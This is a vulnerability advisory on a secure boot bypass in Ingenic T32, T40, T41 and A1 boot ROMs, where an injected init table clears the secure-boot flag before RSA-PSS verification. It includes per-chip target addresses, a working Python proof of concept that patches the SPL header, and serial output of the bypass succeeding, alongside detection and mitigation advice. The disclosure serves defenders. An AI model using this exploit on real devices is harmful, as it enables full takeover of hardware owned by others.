Init table parsed and executed before secure boot check — clears SRAM security flag, skips RSA-PSS verification entirely
Discovered: March 2026 · Vendor notified: March 17, 2026 · CVE assigned: June 2026 · Published: July 31, 2026
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | Physical (P) | SPI NOR write access required |
| Attack Complexity | Low (L) | Static binary patch — no probabilistic step |
| Privileges Required | None (N) | — |
| User Interaction | None (N) | — |
| Scope | Changed (C) | Boot ROM compromise impacts entire system |
| C/I/A | High / High / High | Full device takeover |
A conservative S:U reading scores 6.8 Medium. We recommend S:C because the vulnerable component (mask ROM) is outside the security scope of the impacted component.
The Ingenic T32, T40, T41, and A1 SoC boot ROMs (mask ROM) parse and execute an attacker-controlled init table carried inside the SPL (Secondary Program Loader) header before evaluating the secure boot state and before invoking RSA-PSS signature verification. The init table parser supports full 32-bit write addresses, so an attacker who can write to the SPI NOR boot media can craft an SPL header that writes to SRAM-resident security state and clears the secure boot flag before the verification routine runs. The ROM then skips signature verification entirely and executes the unsigned SPL payload.
This was first-person hardware-validated on T32, T40, and T41 silicon: on each variant, a patched Thingino image with an injected init table entry was accepted by the boot ROM, executed through Thingino SPL, and handed off into second-stage U-Boot. T41NQ was the primary validation target (secure-boot-enabled consumer camera); T32 and T40 were additionally confirmed on hardware. The same vulnerability class is expected to affect A1 on the basis of ROM analysis but has not yet been first-person validated on A1 silicon.
This issue is distinct from CVE-2026-50720 (T31 partial verification). The T32/T40/T41/A1 RSA-PSS verifier itself appears cryptographically sound — the bypass succeeds by abusing ROM control flow ordering rather than by forging signatures.
The injected init-table entry targets an SRAM word that mirrors an eFuse-based security configuration. The specific address differs per SoC variant but the structural attack is identical:
| SoC | SRAM Target Address | Write Value | Notes |
|---|---|---|---|
| T32 | 0x80000024 | 0x00000000 | Bit 16 = secureboot enable; mirrored from eFuse 0xB3540210 |
| T40 | 0x800000B0 | 0x00004000 | — |
| T41 / T41NQ | 0x80000090 | 0x00000000 | Clears byte at 0x80000091 |
| A1 | derived from A1 boot ROM analysis | 0x00000000 (assumed) | Not yet first-person validated |
The following demonstrates the init-table injection used to bypass secure boot on T41. An INGE init-table entry is written to the SPL header at offset 0x100. The first entry writes 0 to0x80000090, clearing the SRAM-resident secure boot state word before the boot ROM reaches the verification step.
#!/usr/bin/env python3
"""T41 init-table bypass — proof of concept."""
import struct
from pathlib import Path
MAGIC = 0x45474E49 # "INGE" little-endian
INIT_OFFSET = 0x100
ENTRY0_OFFSET = 0x120
TERM_OFFSET = 0x134
def inject_patch(data: bytearray, target_addr: int,
write_value: int = 0) -> None:
"""Inject init-table entry that clears the secure boot flag."""
# Header: INGE magic + padding
struct.pack_into("<I", data, INIT_OFFSET, MAGIC)
struct.pack_into("<I", data, INIT_OFFSET + 4, 0)
# Entry 0: write value to target address
struct.pack_into(
"<IIIII", data, ENTRY0_OFFSET,
target_addr, # write address
0xFFFFFFFF, # poll address (skip)
write_value, # write value
0, # poll mask (skip)
0, # poll clear (skip)
)
# Terminator
struct.pack_into(
"<IIIII", data, TERM_OFFSET,
0xFFFFFFFF, 0xFFFFFFFF, 0, 0, 0,
)
# T41 usage:
# data = bytearray(Path("firmware.bin").read_bytes())
# inject_patch(data, target_addr=0x80000090, write_value=0x00000000)
# Path("patched.bin").write_bytes(data)
#
# T32 variant: target_addr=0x80000024The init table is parsed by the boot ROM before the secure boot state byte is checked, so the security flag is cleared before signature verification runs.
Observed serial output from a secure-boot-enabled T41NQ validation device after flashing the patched image:
Thingino U-Boot for Ingenic T41NQ SPL 2013.07 ... image entry point: 0x80100000 Thingino U-Boot for Ingenic 2013.07 ... Now running in RAM - U-Boot at: 87f54000
Equivalent acceptance behavior was observed on T32 and T40 hardware using variant-specific target addresses. This sequence indicates the boot ROM accepted the patched image, executed Thingino SPL, and handed off into second-stage U-Boot. Full serial captures from reset through kernel handoff, for all three validated variants, are available on request to verified security researchers and affected vendors.
Because the vulnerability is in mask ROM, there is no in-field firmware-only mitigation. Practical risk reduction options for deployed fleets:
Affected vendors should reach out to Ingenic for silicon-level guidance.
A patched SPL image is, by construction, byte-different from any legitimately signed vendor image and will contain the INGE magic and an init-table entry in the SPL header region. Fleet operators can detect tampering by:
INGE magic (0x45474E49). A legitimate vendor image should not contain a populated init table in this region.Signature validity alone does not indicate an authentic image. A byte-level comparison against the vendor image is required.
Discovered by Matt Davis (OpenSensor Engineering LLC) and Alfonso Gamboa — equal co-discovery.
Content editing and reporting validation by Josh at WLTechBlog.